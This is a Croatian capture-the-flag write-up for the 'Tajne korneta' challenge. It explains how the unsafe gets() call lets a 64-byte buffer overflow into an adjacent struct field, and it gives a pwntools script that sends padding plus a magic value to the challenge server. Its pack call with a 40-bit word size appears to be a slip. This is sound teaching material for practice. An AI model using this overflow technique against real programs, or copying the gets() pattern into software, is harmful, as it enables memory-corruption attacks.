This is an old revision of the document!
Variable overwrite
Varijable definirane unutar procesa nalaze se na stogu programa. Ako napadač ima pristup stogu, omogućeno mu je preplavljivanje varijabli čime može mijenjati i tok programa ako se, recimo, ta varijabla koristi unutar uvjetnog grananja.
Tajne korneta
Rješenje:
Iz koda zadatka vidimo da se rješenje ispisuje nakon testiranja uvjeta:
if (krivi_odgovor.tajni_kod == TOCAN_KOD){...}
To znači da je potrebno zapisati unutar varijable krivi_odgovor.tajni_kod vrijednost jednaka TOCAN_KOD-u:
#define TOCAN_KOD 0x6c32257e //Dakle vrijednost 0x6c32257e
Na liniji koja sadrži:
gets(krivi_odgovor.odgovor);
je vidljivo da se koristi nesigurna funkcija gets koja omogućuje unos proizvoljne duljine u zadanu varijablu. Zbog toga je moguće preplaviti varijablu krivi.odgovor.tajni_kod.
Varijabla krivi_odgovor je definirana kao struct odgovor čija je struktura definirana sljedećim kodom:
struct odgovor {
char odgovor[ODGOVOR_MAX]; //Gdje je ODGOVOR_MAX jednak 64
uint32_t tajni_kod;
};
Dakle, na stogu će se, krećući se prema višim adresama, nalaziti polje duljine 64 čija memorija pripada varijabli odgovor, a nakon njega 4 bajta koja pripadaju varijabli_tajni kod (uint32 = 4 bajta). Pošto je omogućen unos u polje odgovor proizvoljne duljine, a nakon njega se nalazi varijabla čija se vrijednost koristi u testiranju uvjeta za dobivanje rješenja, potrebno je preplaviti polje odgovor s 64 bajta i zatim nadodati još 4 čije su vrijednosti definirane s TOCAN_KOD.
Primjer rješenja uz pomoć PWN tools-a
PWN tools
payload.py
from pwn import * #import pwn tools-a
p = remote("chal.platforma.hacknite.hr",11004)
payload = b"A"*64 #padding
payload += pack(0x6c32257e,40) #naredba pack formatira unos s little-endian zapisom
payload += b"\n" #prekid veze
p.writeline(payload)
answer = p.readall()
print(answer.decode())